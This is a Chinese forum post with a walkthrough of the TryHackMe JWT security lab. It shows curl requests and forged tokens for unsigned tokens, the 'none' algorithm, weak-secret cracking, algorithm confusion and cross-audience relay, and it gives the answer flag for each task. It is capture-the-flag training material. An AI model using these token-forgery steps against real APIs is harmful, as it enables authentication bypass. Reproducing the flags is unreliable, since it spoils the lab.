TryHackMe---JWT安全---WP

打印 上一主题 下一主题

主题 880|帖子 880|积分 2640

由于做到这个JWT的时间踩了一些坑,google没有搜到别人写的WP,于是自己写的记载一下解题过程

实例1---任务4---敏感信息

1.获取Token

根据给出的cURL请求,去举行验证获取Token
  1. curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password1" }' http://10.10.20.1/api/v1.0/example1
复制代码

把得到的token复制去在线网站上面解码看一下信息

2.实例1的flag

实例1的flag为:
   THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}
  实例2---任务5---不签名验证

1.获取Token

还是一样的,先使用cURL获取Token
  1. curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.20.1/api/v1.0/example2
复制代码

解密出来的信息为

2.伪造新Token

把第二部分中admin背面的0改成1,重新编码,删掉第三部分(只生存点)即可,然后把编码后的Token添加到请求中,去举行请求
  1. curl -H 'Authorization: Bearer [JWT Token]' http://10.10.20.1/api/v1.0/example2?username=user
  2. JWT Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.
  3. 正确的请求为:curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.' http://10.10.20.1/api/v1.0/example2?username=user
复制代码
提示:提出请求无效,把用户改成admin,重新举行请求,即可获得flag。

3.实例2的flag

实例2的flag为:
   THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}
  实例3---任务5---None签名

1.获取Token

cURL为
  1. curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }' http://10.10.20.1/api/v1.0/example3
复制代码

2.伪造新Token

把解码后的Token重新编辑然后请求,由于在线网站无法编辑None签名,所以必要分段使用base64来举行编辑天生新的Token,在线base64网站
Token为:
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8
  

第一部分,解码为
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
  

把alg内里的HS256改成None,然后重新举行编码,得到的第一部分为
   eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=
  把第二部分中的admin的0改成1重新编码得到
   eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=
  

把新编码的组合起来,便得到了新的Token为
   eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8
  3.实例3的flag

使用新的Token去举行请求得到flag
  1. curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8' http://10.10.20.1/api/v1.0/example3?username=admin
复制代码

得到的flag为:
   THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}
  实例4---任务5---弱对称的密钥

1.获取Token

  1. curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }' http://10.10.20.1/api/v1.0/example4
复制代码

把Token的值生存到jwt.txt文本中,下载通用的密钥字典,然后使用Hashcat举行破解。

2.伪造新Token

密钥值为secret,然后伪造一个新的Token来获取flag。
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc
  

3.实例4的flag

获取Flag
  1. curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc' http://10.10.20.1/api/v1.0/example4?username=admin
复制代码

flag为
   THM{e1679fef-df56-41cc-85e9-af1e0e12981b}
  实例5---任务5---签名算法杂乱

1.获取Token

  1. curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://10.10.20.1/api/v1.0/example5
复制代码

2.伪造新Token

根据提供的脚本,把公钥值添加进去,把admin背面的0改成1

注释掉/usr/lib/python3/dist-packages/jwt/algorithms.py文件的143-146行,生存退出

运行脚本,得到一个新Token,

   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU
  3.实例5的flag

获取flag
  1. curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://10.10.20.1/api/v1.0/example5?username=admin
复制代码

flag为
   THM{f592dfe2-ec65-4514-a135-70ba358f22c4}
  实例6---任务6---令牌不逾期

根据Token获得flag
  1. curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU' http://10.10.20.1/api/v1.0/example6?username=admin
复制代码

实例6flag
   THM{a450ae48-7226-4633-a63d-38a625368669}
  实例7---任务7---跨服务中继攻击

1.获取Token

  1. curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appA"}' http://10.10.202.112/api/v1.0/example7
复制代码


JWT在线网站上查看解码信息


不为管理员
使用B的身份来获取Token
  1. curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appB"}' http://10.10.202.112/api/v1.0/example7
复制代码


是管理员
2.伪造Token

根据B获取到的Token,有管理员权限去访问A的URL,获得flag。
  1. curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.202.112/api/v1.0/example7_appA?username=admin
复制代码

3.实例7的flag

   THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

九天猎人

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表